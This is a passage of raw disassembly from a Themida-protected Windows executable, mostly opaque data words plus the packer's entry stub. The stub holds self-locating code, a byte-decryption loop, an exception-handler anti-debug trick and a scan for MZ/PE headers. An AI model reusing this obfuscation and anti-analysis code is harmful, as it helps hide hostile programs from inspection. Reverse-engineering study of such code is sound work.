dd 9E000000h, 6 dup(0)
dd 0FF90C000h, 0C4CBFFh, 4 dup(0)
dd 59FF7300h, 2 dup(0)
dd 40000000h, 2 dup(0)
dd 9F69DD00h, 0
dd 9F949900h, 5 dup(0)
dd 32969C00h, 0B9h, 0
dd 49010800h, 2 dup(0)
dd 5E995300h, 3Fh, 2 dup(0)
dd 7A0BD800h, 104h, 0Dh dup(0)
dd 0FFE0B000h, 0FFh, 0A38D5300h, 3 dup(0)
dd 8C00h, 0
dd 57313E00h, 0
dd 57533700h, 6A6000h, 21669600h, 0C9h, 9 dup(0)
dd 40878700h, 0Fh, 0Eh dup(0)
dd 200h, 0Ah dup(0)
dd 0FE030400h, 6E6C7Fh, 5 dup(0)
dd 587F1D00h, 0FAh, 0FE030400h, 7Fh, 2 dup(0)
dd 9F69DD00h, 7 dup(0)
dd 0F7750500h, 0A0h, 64198A00h, 0C0h, 0
dd 12FEF000h, 2 dup(0)
dd 58B27A00h, 2F8D8D00h, 48h, 2 dup(0)
dd 9F69DD00h, 9 dup(0)
dd 9F9C3700h, 2 dup(0)
dd 5AA63E00h, 0
dd 593A4E00h, 6 dup(0)
dd 0FB5E200h, 8Ah, 0
dd 0F54A5000h, 3800077h, 0
dd 5811C300h, 5A139D00h, 50F00h, 200h, 9 dup(0)
dd 9EB16800h, 5 dup(0)
dd 57685400h, 6 dup(0)
dd 0D4000000h, 77h, 0Eh dup(0)
dd 7CF4E900h, 36h, 1B59200h, 1, 0Dh dup(0)
dd 3ADF6700h, 0E4h, 6 dup(0)
dd 0A6F90000h, 0FFh, 2 dup(0)
dd 100h, 0
dd 0F7EBB300h, 0FF8E6877h, 1C1EAFFh, 6 dup(0)
dd 604C00h, 400h, 0
dd 0E793EF00h, 77h, 371700h, 2 dup(0)
dd 0F43FD400h, 7Eh, 0
dd 6A0400h, 0B2693900h, 0FE030400h, 7Fh, 6A0400h, 18077500h
dd 0Fh, 1Ah dup(0)
dd 0FF9BD400h, 576854FFh, 3 dup(0)
dd 0E8000h, 0Ch dup(0)
dd 100h, 0Ah dup(0)
dd 0E7AC5E00h, 77h, 3 dup(0)
dd 5701C700h, 585F9100h, 0A023E800h, 3 dup(0)
dd 200h, 2 dup(0)
dd 9FFDFF00h, 0FBh, 6 dup(0)
dd 53002300h, 5 dup(0)
dd 21212100h, 21h, 0
dd 0E94ED000h, 9F314580h, 57313E00h, 0A1B13400h, 3 dup(0)
dd 78BD2B00h, 53h, 5 dup(0)
dd 2CBD00h, 0
dd 0FFFFFF00h, 0A19BACFFh, 0
dd 68E100h, 0
dd 35B00h, 0
dd 0FDCCA300h, 0EFh, 4 dup(0)
dd 57274900h, 0EC00h, 400h, 0
dd 1FFF00h, 3 dup(0)
dd 0FE033C00h, 7Fh, 0
dd 8816AD00h, 20h, 0
dd 0A1731600h, 2 dup(0)
dd 6781E800h, 1, 6 dup(0)
dd 1900h, 57533700h, 5 dup(0)
dd 57876200h, 3 dup(0)
dd 40000000h, 4 dup(0)
dd 9FA00F00h, 0
dd 0F18DEF00h, 0F4h, 2214000h, 0
dd 24242400h, 9F939324h, 0
dd 57685400h, 0C335D800h, 18h, 0FE288600h, 1087Fh, 0
dd 0FE000400h, 7Fh, 4 dup(0)
dd 0B6000000h, 58019900h, 4 dup(0)
dd 56707D00h, 78h, 58F86B00h, 0Eh dup(0)
dd 57E59900h, 2 dup(0)
dd 59B12000h, 8B7B9100h, 60h, 2 dup(0)
dd 9F69DD00h, 57D8D200h, 7 dup(0)
dd 57002300h, 4 dup(0)
dd 12FF5400h, 3 dup(0)
dd 0F97F00h, 6 dup(0)
dd 12FF5400h, 5 dup(0)
dd 6D71D300h, 74AF3434h, 34h, 0
dd 5A5DD900h, 0Ch dup(0)
dd 0A17FD800h, 0FF8B1400h, 0FFh, 8 dup(0)
dd 26831700h, 5Fh, 0
dd 300h, 3 dup(0)
dd 5939F100h, 0
dd 0E73D4500h, 0A1796E77h, 583FA600h, 3 dup(0)
dd 0A6E41900h, 53F9B1FFh, 57002300h, 0AE6400h, 0Dh dup(0)
dd 0F525A000h, 0F9h, 7 dup(0)
dd 9F710F00h, 0
dd 661CB100h, 5, 0
dd 49010800h, 12FFE000h, 0
dd 53C6B500h, 4 dup(0)
dd 5EFFC500h, 3044Dh, 4 dup(0)
dd 81517600h, 74h, 0
dd 0B05700h, 6 dup(0)
dd 591BB200h, 49010800h, 3 dup(0)
dd 56BFDE00h, 0DBh, 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h
dd 32336D65h, 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Dh dup(0)
dd 56FF5400h, 3 dup(0)
dd 9F3E3B00h, 2 dup(0)
dd 6DD97400h, 0A0h, 4 dup(0)
dd 0DBFEA500h, 0ABh, 2 dup(0)
dd 628C00h, 974F6900h, 0E600006Dh, 77h, 4 dup(0)
dd 100h, 6 dup(0)
dd 36363600h, 598CB536h, 2 dup(0)
dd 48ADFE00h, 1, 0
dd 587EF700h, 3 dup(0)
dd 400h, 2 dup(0)
dd 0FFFFFF00h, 9F8C0AFFh, 0FE030400h, 7Fh, 4 dup(0)
dd 0E7796300h, 511A6077h, 3 dup(0)
dd 0D6B50D00h, 57C17F92h, 0
dd 0FE030400h, 7Fh, 57F0ED00h, 100h, 7 dup(0)
dd 0AFA1FE00h, 0Bh dup(0)
dd 57876200h, 8 dup(0)
dd 0A6FC2700h, 0FFh, 0
dd 100h, 0
dd 0FE030400h, 7Fh, 8 dup(0)
dd 1BD00000h, 0
dd 0DFFFB000h, 1, 2 dup(0)
dd 780600h, 0Bh dup(0)
dd 4B12EF00h, 39h, 0
dd 0FE030400h, 0FB5E27Fh, 8Ah, 9FA00F00h, 3 dup(0)
dd 5A86E600h, 68E100h, 2 dup(0)
dd 100h, 0
dd 0FE030400h, 7Fh, 0Bh dup(0)
dd 40000000h, 5 dup(0)
dd 5A643E00h, 4 dup(0)
dd 0FB5E200h, 8Ah, 13h dup(0)
dd 0A800h, 0
dd 57274900h, 0
dd 0FD8D8900h, 74h, 4 dup(0)
dd 0CDB6E600h, 0Dh, 0
dd 59813100h, 0
dd 0E7A09900h, 77h, 7 dup(0)
dd 56BFDE00h, 0DBh, 9 dup(0)
dd 100h, 5A8DE300h, 3 dup(0)
dd 0E7A83700h, 77h, 6 dup(0)
dd 0FFFFFE00h, 0F575F5FFh, 8Ah, 2 dup(0)
dd 0FF971F00h, 39FFh, 0
dd 0FE030400h, 7Fh, 0
dd 0E8360C00h, 77h, 0
dd 67CA7600h, 1Dh, 4 dup(0)
dd 48C0A400h, 0FAh, 6 dup(0)
dd 0FB5E200h, 948Ah, 2 dup(0)
dd 0ADB1CA00h, 0AFFF8400h, 5 dup(0)
dd 57021700h, 4 dup(0)
dd 9F09F700h, 5 dup(0)
dd 30400h, 0
dd 49388500h, 6FEh, 57B71900h, 0F5EE6700h, 0
dd 74D04300h, 0DD00000h, 57685400h, 0
dd 71DA7800h, 0E1h, 0Fh dup(0)
dd 83826A00h, 0D9h, 0
dd 0BE8D8D00h, 70h, 0
dd 40000000h, 486CB800h, 2, 5 dup(0)
dd 0A400h, 2 dup(0)
dd 800900h, 2 dup(0)
dd 20005000h, 576854FEh, 4 dup(0)
dd 0FFFF00h, 2 dup(0)
dd 0D8173300h, 26h, 0
dd 57686600h, 3 dup(0)
dd 12FFC400h, 0Ch dup(0)
dd 577E7100h, 0
dd 5A2A9E00h, 2Bh dup(0)
dd 12FF5400h, 11h dup(0)
dd 4934EB00h, 46h, 584F1D00h, 28h dup(0)
dd 12A700h, 0
dd 24015B00h, 5A299054h, 9 dup(0)
dd 100h, 6740C600h, 0E8h, 0Ch dup(0)
dd 9190DE00h, 9ED55476h, 0
dd 0FE030400h, 7Fh, 0
dd 9F69DD00h, 3 dup(0)
dd 0B400h, 0AC00h, 6 dup(0)
dd 56674100h, 6 dup(0)
dd 12FEF000h, 0Bh dup(0)
dd 593A8700h, 46EADA00h, 0ECh, 5 dup(0)
dd 0E83E6800h, 77h, 57685400h, 0
dd 5990C900h, 4 dup(0)
dd 9E000000h, 0C530DF00h, 0A9h, 4 dup(0)
dd 9FFA5600h, 0
dd 2DB8F400h, 0C1h, 0
dd 200h, 939300h, 7 dup(0)
dd 57955200h, 6 dup(0)
dd 5A853C00h, 0
dd 12FFE800h, 0E7A5FD00h, 77h, 3 dup(0)
dd 57533700h, 0B8779900h, 3Bh, 6 dup(0)
dd 0E7A14400h, 4D366877h, 55h, 86C00h, 26h dup(0)
dd 2A4C7100h, 49010856h, 5 dup(0)
dd 5AC9C300h, 3 dup(0)
dd 57685400h, 3 dup(0)
dd 5A407700h, 58000000h, 2, 9 dup(0)
dd 0FF918000h, 0FFh, 2 dup(0)
dd 57002300h, 12h dup(0)
dd 0E8279000h, 77h, 0B6BA6300h, 0FEh, 5 dup(0)
dd 40000000h, 3 dup(0)
dd 9F8C0A00h, 0
dd 5938FA00h, 3 dup(0)
dd 0FE030400h, 7Fh, 6 dup(0)
dd 6A0400h, 0FE030400h, 7Fh, 50F00h, 3 dup(0)
dd 93D89000h, 13h, 2 dup(0)
dd 100h, 7 dup(0)
dd 0FF917C00h, 0FFh, 6 dup(0)
dd 0FFFFB000h, 1, 0
dd 0E7C48600h, 7CF4E977h, 36h, 0D68EB500h, 7F219D18h, 0A9h
dd 4 dup(0)
dd 40000000h, 5 dup(0)
dd 0A9FEB800h, 0FFh, 2 dup(0)
dd 59F5C300h, 2 dup(0)
dd 57F32600h, 2 dup(0)
dd 65685400h, 6164696Dh, 20h dup(0)
dd 5B2DD600h, 6 dup(0)
dd 59070000h, 0
dd 40000000h, 3 dup(0)
dd 8B070E00h, 13727302h, 97h, 0E78B8200h, 9E0FE677h, 2 dup(0)
dd 57685400h, 0E78B8200h, 77h, 3 dup(0)
dd 400h, 5 dup(0)
dd 40000000h, 59000000h, 9F69DD02h, 0
dd 5A13CD00h, 2A57BC00h, 6, 3 dup(0)
dd 0C1B5600h, 0BF0B0h, 57DA9D00h, 7 dup(0)
dd 0FE030400h, 7Fh, 57876200h, 81429400h, 0FEh, 6A0400h
dd 2 dup(0)
dd 8A950500h, 1Bh, 4 dup(0)
dd 36F100h, 3 dup(0)
dd 0DD5ECC00h, 77h, 3 dup(0)
dd 0BF000000h, 7 dup(0)
dd 2B8200h, 3 dup(0)
dd 9E000000h, 2 dup(0)
dd 2428B400h, 88h, 5 dup(0)
dd 5B25C700h, 0E8216800h, 0ED00AC77h, 0FFh, 3A000h, 9BD400h
dd 0
dd 0B41B4000h, 76h, 0AE5FF400h, 0
dd 0A897AC00h, 0FFh, 0E8216400h, 77h, 3 dup(0)
dd 57A27900h, 0
dd 0F8F07F00h, 24015B5Ch, 54h, 0FFFFFF00h, 411519FFh, 57AC804Bh
dd 5 dup(0)
dd 0DD000000h, 77h, 0
dd 898B6F00h, 0FBh, 6A0400h, 0E805D800h, 77h, 2 dup(0)
dd 9F923400h, 0
dd 0F7AC0500h, 0A0h, 9FA03700h, 5 dup(0)
dd 56CBAC00h, 3 dup(0)
dd 10A9E900h, 2 dup(0)
dd 0FFFF00h, 2 dup(0)
dd 0FE030400h, 787Fh, 5 dup(0)
dd 53E94D00h, 9 dup(0)
dd 0ED009C00h, 0FFh, 200h, 0
dd 0DCCBDE00h, 4Ch, 0
dd 4934EB00h, 46h, 0
dd 9000h, 5 dup(0)
dd 7400h, 5A2A4C00h, 0
dd 0FFA08400h, 0FFh, 3 dup(0)
dd 8E800h, 200h, 0
dd 0CE5EE400h, 0E8h, 6 dup(0)
dd 100h, 0
dd 74AF3500h, 0FFE9DD34h, 0FFh, 8800h, 0FE030400h, 7Fh
dd 4 dup(0)
dd 545F0200h, 5 dup(0)
dd 7000h, 9 dup(0)
dd 11111100h, 0FF9D9011h, 0FFh, 5536EB00h, 53h, 9 dup(0)
dd 57685400h, 33333300h, 2 dup(33333333h), 53E94D33h, 3 dup(0)
dd 40000C00h, 2, 2 dup(0)
dd 9F229200h, 0EF561700h, 0FFh, 53F33500h, 7C00h, 4 dup(0)
dd 0D817BB00h, 40100026h, 8 dup(0)
dd 780600h, 56FF6E00h, 0
dd 0D50000h, 0B3h dup(0)
dd 58105500h, 0
dd 59DF7300h, 4 dup(0)
dd 2F8D8D00h, 57274948h, 2 dup(0)
dd 5AFFFF00h, 21h dup(0)
dd 53E94D00h, 3 dup(0)
dd 0A3999500h, 2 dup(0)
dd 5A9F5300h, 2 dup(0)
dd 5A070E00h, 0
dd 5A349800h, 2 dup(0)
dd 5B5B2500h, 0FE030483h, 0A07Fh, 3 dup(0)
dd 57876200h, 0
dd 53FE5300h, 0FFF71500h, 0FFh, 6 dup(0)
dd 5A48A800h, 81821301h, 53E94D1Fh, 0Ah dup(0)
dd 2633A900h, 98h, 0BDAA00h, 6 dup(0)
dd 0BC27C00h, 6, 0
dd 200h, 2B00h, 2 dup(0)
dd 100000h, 8 dup(0)
dd 9E003E00h, 0E001400h, 4 dup(0)
dd 6A0400h, 0
dd 59118800h, 80h, 8B000000h, 2, 2 dup(0)
dd 57685400h, 7 dup(0)
dd 0E88D8D00h, 0D1h, 30400h, 2 dup(0)
dd 57A41400h, 2 dup(0)
dd 73930500h, 0DEh, 5 dup(0)
dd 57313E00h, 2 dup(0)
dd 9FA00F00h, 5 dup(0)
dd 0FB5E200h, 8Ah, 0
dd 0EFAB8D00h, 0AFh, 9F69DD00h, 0A8971F00h, 0FFh, 0
dd 6A0400h, 0FE030400h, 7Fh, 0
dd 55FFBA00h, 0E75CB5FFh, 77h, 6 dup(0)
dd 9F5E2E00h, 58E94D00h, 0
dd 12FFF000h, 57313E00h, 0
dd 12FF5400h, 5 dup(0)
dd 0FB3AD800h, 0F52E0FACh, 77h, 0
dd 0FF7FFD00h, 4 dup(0)
dd 0E8061800h, 77h, 0
dd 57D25800h, 0
dd 9C00h, 50F00h, 2D343000h, 31h, 59C7E900h, 5701EF00h
dd 6 dup(0)
dd 9F70C400h, 4934EB00h, 5A6FC746h, 3 dup(0)
dd 68519D00h, 0B3h, 3 dup(0)
dd 57685400h, 2 dup(0)
dd 400A0C00h, 7 dup(0)
dd 0E82FE800h, 0FFFFFD77h, 0FFh, 3 dup(0)
dd 0FFFAF100h, 0FFh, 4 dup(0)
dd 48000000h, 1, 2 dup(0)
dd 0FE030400h, 14347Fh, 13h dup(0)
dd 0FE030400h, 5797A87Fh, 0FF917C00h, 0FFh, 6 dup(0)
dd 22222200h, 22222222h, 22h, 3 dup(0)
dd 4665D500h, 0Eh, 75B500h, 5 dup(0)
dd 9800h, 0E9A90100h, 0F7h, 4001D800h, 0B800h, 0C00B0000h
dd 18C20374h, 24448B00h, 0E8530Ch, 5B000000h, 17C381h
dd 5C890000h, 44891024h, 0B85B1424h, 9FA037h, 448BE0FFh
dd 0E0FF0424h, 15h dup(0)
dd 59900D00h, 0
dd 30400h, 6 dup(0)
dd 9F915B00h, 0
dd 0A7033C00h, 5A6FC7FFh, 0F59FB700h, 5A2F2057h, 4000C800h
dd 0A0156800h, 2 dup(0)
dd 57685400h, 0
dd 0E7A13F00h, 77h, 585F9100h, 0
dd 0E756CA00h, 10A9E905h, 0Ah dup(0)
dd 0A3CBA900h, 13h, 0Ch dup(0)
dd 0E7266E00h, 5C3A4377h, 6E755F6Dh, 6B636170h, 7265h
dd 85h dup(0)
dd 53C5DD00h, 3 dup(0)
dd 3C60000h, 4 dup(0)
dd 8400h, 2 dup(0)
dd 0F26D5100h, 8Eh, 7 dup(0)
dd 8EB00h, 7 dup(0)
dd 5B000000h, 2, 0
dd 57A1F000h, 53F00900h, 5907EC00h, 4 dup(0)
dd 4934EB00h, 46h, 8 dup(0)
dd 9F2BDE00h, 7 dup(0)
dd 57533700h, 0
dd 7D8EA500h, 9, 0
dd 0F0385600h, 564324h, 5 dup(0)
dd 0AD000000h, 5 dup(0)
dd 1857C900h, 88h, 5A412700h, 0C530DF00h, 0A9h, 0Ah dup(0)
dd 0A8AEB800h, 0FFh, 3 dup(0)
dd offset loc_57E300
dd 0
dd 9F3E3B00h, 28010500h, 0Ah, 0
dd 0E805D800h, 77h, 0
dd 0A8119E00h, 0FFh, 0A0326800h, 0
dd 0F5180B00h, 77h, 0
dd 587EE400h, 0
dd 7D6C9100h, 3E081h, 8 dup(0)
dd 1B46D100h, 33h, 4 dup(0)
dd 1FCFC00h, 80h, 57002300h, 0A3A5E700h, 4 dup(0)
dd 8E400h, 3 dup(0)
dd 0F5000000h, 77h, 4 dup(0)
dd 0A593F400h, 0F4h, 5 dup(0)
dd 591D1F00h, 2 dup(0)
dd 0FF03A200h, 0B9h, 3 dup(0)
dd 0FE030400h, 7Fh, 4 dup(0)
dd 5AA75B00h, 54E3D700h, 70h, 0
dd 57DA0600h, 3 dup(0)
dd 107500h, 2 dup(0)
dd 0FE030400h, 7Fh, 0
dd 0CA71AC00h, 28h, 2 dup(0)
dd 56CBAC00h, 3 dup(0)
dd offset dword_576400
dd 0
dd offset dword_457444+180BCh
dd 22FE889h, 3 dup(0)
dd 57685400h, 0
dd 0CC00h, 0
dd 0FF8D9700h, 0FFh, 5 dup(0)
dd 6A0400h, 0
dd 57F32600h, 5 dup(0)
dd 8000h, 4 dup(0)
dd 0D4C96A00h, 77h, 0
dd 0DD23D700h, 77h, 0
dd 0CEABDF00h, 0FF917C5Fh, 490108FFh, 5 dup(0)
dd 486B9C00h, 2, 2 dup(0)
dd 84A85300h, 156h, 9 dup(0)
dd 9F69DD00h, 0DD189A00h, 58DFBF77h, 0
dd 57A34A00h, 12h dup(0)
dd 5993A800h, 0BF00F880h, 3769C600h, 0B9h, 5 dup(0)
dd 0BC0E3E00h, 66h, 3 dup(0)
dd 5A000000h, 0B05702h, 3 dup(0)
dd 0BF743E00h, 82h dup(0)
dd 58000000h, 2 dup(0)
dd 0B000h, 0
dd 48491000h, 2Ah, 13h dup(0)
dd 5A400800h, 2 dup(0)
dd 0FB5E200h, 8Ah, 0
dd 9F6A2D00h, 4DE00000h, 0
dd 0A5BDD100h, 0FFh, 100h, 58244900h, 0Ah dup(0)
dd 57274900h, 0EBA6E900h, 77h, 3 dup(0)
dd 9F69DD00h, 2 dup(0)
dd 5A619900h, 5 dup(0)
dd 0FF910C00h, 0FFh, 0
dd 0E6D70600h, 77h, 0Bh dup(0)
dd 0FF8B1400h, 0FFh, 53F00A00h, 24015B00h, 54h, 0E7A14400h
dd 0A8005077h, 0FDh, 3 dup(0)
dd 4960200h, 0FFh, 0
dd 4934EB00h, 46h, 0FE030400h, 0DD59F07Fh, 77h, 57685400h
dd 0
dd 9FA00F00h, 3 dup(0)
dd 53E40900h, 7 dup(0)
dd 0E776CD00h, 40000077h, 2, 0E75CB500h, 0A7BC2D77h, 0FFh
dd 54025600h, 12FF5400h, 64h dup(0)
dd 0A0156400h, 0Dh dup(0)
dd 597F5D00h, 32h, 0Ch dup(0)
dd 50F00h, 0
dd 0B5C800h, 55597400h, 86h, 0
dd 4934EB00h, 46h, 5AD80900h, 4 dup(0)
dd 0E4800h, 7 dup(0)
dd 57313E00h, 2 dup(0)
dd 100h, 9F939300h, 0Ah dup(0)
dd 0E74A3B00h, 77h, 6 dup(0)
dd 49010800h, 18h dup(0)
dd 100h, 0
dd 57FFC200h, 9F710F00h, 0
dd 59000000h, 88296902h, 3Bh, 6A0400h, 2 dup(0)
dd 4000FE00h, 0
dd 28939D00h, 71h, 0
dd 12FFA400h, 0
dd 73655200h, 74726174h, 2E707041h, 657865h, 4 dup(0)
dd 9E0FE600h, 0
dd 0FD4E8700h, 0CDh, 3 dup(0)
dd 12FF5400h, 0
dd 0A777AD00h, 5A71100Dh, 0E9A90100h, 0F7h, 7 dup(0)
dd 582FD800h, 2 dup(0)
dd 100h, 0FF918000h, 0FFh, 0
dd 53E11900h, 0
dd 93CCBB00h, 0E5h, 0
dd 800h, 2 dup(0)
dd 100h, 5 dup(0)
dd 0C5209900h, 7D11Bh, 8 dup(0)
dd 57313E00h, 100h, 2 dup(0)
dd 39000000h, 0Dh, 5A400800h, 0
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53F46D: ; CODE XREF: start:loc_53C0A4j
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 60B33D3h
mov [ebp+60B102Dh], edx
mov [ebp+60B2891h], esi
mov [ebp+60B217Dh], eax
cmp dword ptr [ebp+60B067Dh], 0
jz short loc_53F4A5
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_53F4A5: ; CODE XREF: start+5F483j
mov eax, [esp+40h+var_1C]
mov [ebp+60B21A5h], eax
push 45h
call sub_53F559
push 783749Ah
call sub_53F59F
push 0A894B25h
call sub_53F59F
jmp loc_53F6E3
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 45h
dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_53F559 proc near ; CODE XREF: start+5F49Dp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 60B34C1h
mov ebx, edx
mov [ebp+var_28], 0
loc_53F575: ; CODE XREF: sub_53F559+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_53F594
mov eax, [ebp+arg_0]
mov [ebx+60B342Bh], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_53F575
; ---------------------------------------------------------------------------
loc_53F594: ; CODE XREF: sub_53F559+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_53F559 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_53F59F proc near ; CODE XREF: start+5F4A7p start+5F4B1p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 60B350Ah
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_53F5C5: ; CODE XREF: sub_53F59F+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_53F5C5
mov [ebp+var_84], 0
lea edi, [edx+60B342Bh]
lea esi, [ebp+var_80]
loc_53F5F5: ; CODE XREF: sub_53F59F+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_53F601: ; CODE XREF: sub_53F59F+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_53F601
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_53F5F5
popa
leave
retn 4
sub_53F59F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_53F63F
; ---------------------------------------------------------------------------
loc_53F63B: ; CODE XREF: Themida_:0053F642j
inc dword ptr [ebp-4]
inc esi
loc_53F63F: ; CODE XREF: Themida_:0053F639j
cmp byte ptr [esi], 0
jnz short loc_53F63B
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_53F6D0
; ---------------------------------------------------------------------------
loc_53F651: ; CODE XREF: Themida_:0053F6D3j
mov dword ptr [ebp-8], 0
jmp short loc_53F6C7
; ---------------------------------------------------------------------------
loc_53F65A: ; CODE XREF: Themida_:0053F6CBj
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_53F6B4
; ---------------------------------------------------------------------------
loc_53F66A: ; CODE XREF: Themida_:0053F6B8j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_53F68C
cmp bl, 39h
ja short loc_53F68C
sub bl, 30h
jmp short loc_53F6AE
; ---------------------------------------------------------------------------
loc_53F68C: ; CODE XREF: Themida_:0053F680j
; Themida_:0053F685j
cmp bl, 61h
jb short loc_53F69E
cmp bl, 66h
ja short loc_53F69E
sub bl, 61h
add bl, 0Ah
jmp short loc_53F6AE
; ---------------------------------------------------------------------------
loc_53F69E: ; CODE XREF: Themida_:0053F68Fj
; Themida_:0053F694j
cmp bl, 41h
jb short loc_53F6AE
cmp bl, 46h
ja short loc_53F6AE
sub bl, 41h
add bl, 0Ah
loc_53F6AE: ; CODE XREF: Themida_:0053F68Aj
; Themida_:0053F69Cj ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_53F6B4: ; CODE XREF: Themida_:0053F668j
cmp dword ptr [ebp-0Ch], 2
jb short loc_53F66A
cmp dword ptr [ebp-10h], 0
jbe short loc_53F6C4
mov eax, [ebp-10h]
stosb
loc_53F6C4: ; CODE XREF: Themida_:0053F6BEj
inc dword ptr [ebp-8]
loc_53F6C7: ; CODE XREF: Themida_:0053F658j
cmp dword ptr [ebp-8], 2
jb short loc_53F65A
add edx, 4
loc_53F6D0: ; CODE XREF: Themida_:0053F64Fj
cmp edx, [ebp-4]
jb loc_53F651
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53F6E3: ; CODE XREF: start+5F4B6j
mov ecx, 7000h
lea edi, [ebp+60B3650h]
loc_53F6EE: ; CODE XREF: start+5F6DEj
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_53F6EE
mov eax, 48692121h
mov edx, 0F00E0000h
sub edx, 0F0000000h
lea eax, [ebp+60B3743h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
mov ebx, edx
js loc_53F72B
push eax
mov ebx, eax
pop ebx
loc_53F72B: ; CODE XREF: start+5F70Dj
sub eax, edx
push 0
push ebp
call sub_53F738
and [ebp-3Dh], bl
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_53F738 proc near ; CODE XREF: start+5F71Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_53F738 endp
; ---------------------------------------------------------------------------
dd 20C1EC32h, 25F0F380h, 0FFFFF000h, 0FDA8B66h, 0CA8BD8BFh
dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah
dd 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h, 56958D04h
dd 52060B37h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh
dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
dd 58Fh, 0C4830000h, 51C36104h, 10244C8Bh, 0B0A981h, 10000000h
dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 60B3761h
dd 371F858Dh, 8189060Bh, 0B8h, 0C033595Dh, 8F6496C3h, 5
dd 4C48300h, 8C66FD8Ah, 7343BBD9h, 0E18015A7h, 0F3BB304h
dd 0C90ADEB7h, 62850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 19DDDAC3h, 2DCBF7D6h
dd 0F9640FCh, 389h, 12D38000h, 0B1985C7h, 1060Bh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 6A82C2C3h, 1C4A56F3h, 0EE949h, 24B30000h, 0B1985C7h
dd 60Bh, 0A5B30000h, 0B018589h, 6A060Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4C9FDFC3h
dd 0B3B350BEh, 5585895Bh, 0E8060B13h, 0Dh, 0DD93BABBh
dd 95DE9B58h, 0FA5E8479h, 38A0FB0h, 0F000000h, 0F85ED9BFh
dd 7597C681h, 55B80000h, 2B1BC5BCh, 38D0FFFh, 66000000h
dd 148BCA8Bh, 0C981663Eh, 0C281C652h, 7EB72F31h, 0C281FA8Ah
dd 421E5E72h, 3860Fh, 8B660000h, 3DEA81CEh, 6650B172h
dd 0B13AF181h, 0DF8B6652h, 663E048Fh, 502099B8h, 0FD8AF960h
dd 0EF835961h, 0FCEC8004h, 8B14FF81h, 850FFFFFh, 19h, 2CE9D98Bh
dd 0DF000000h, 4B518213h, 0FEF64D26h, 0EAD682B6h, 3D1ED6DEh
dd 0CE8B6637h, 0FFFF91E9h, 0F520FFh, 76976E21h, 0D1CA97D2h
dd 49CECE0Dh, 0E9020A3Ch, 6E8h, 9E9h, 9034EA00h, 8A94379Fh
dd 2171799h, 10750000h, 60Bh, 0B8F960F9h, 0
; ---------------------------------------------------------------------------
pusha
push edx
mov [ebp+60B120Dh], esi
pop ebx
movsx ecx, bx
popa
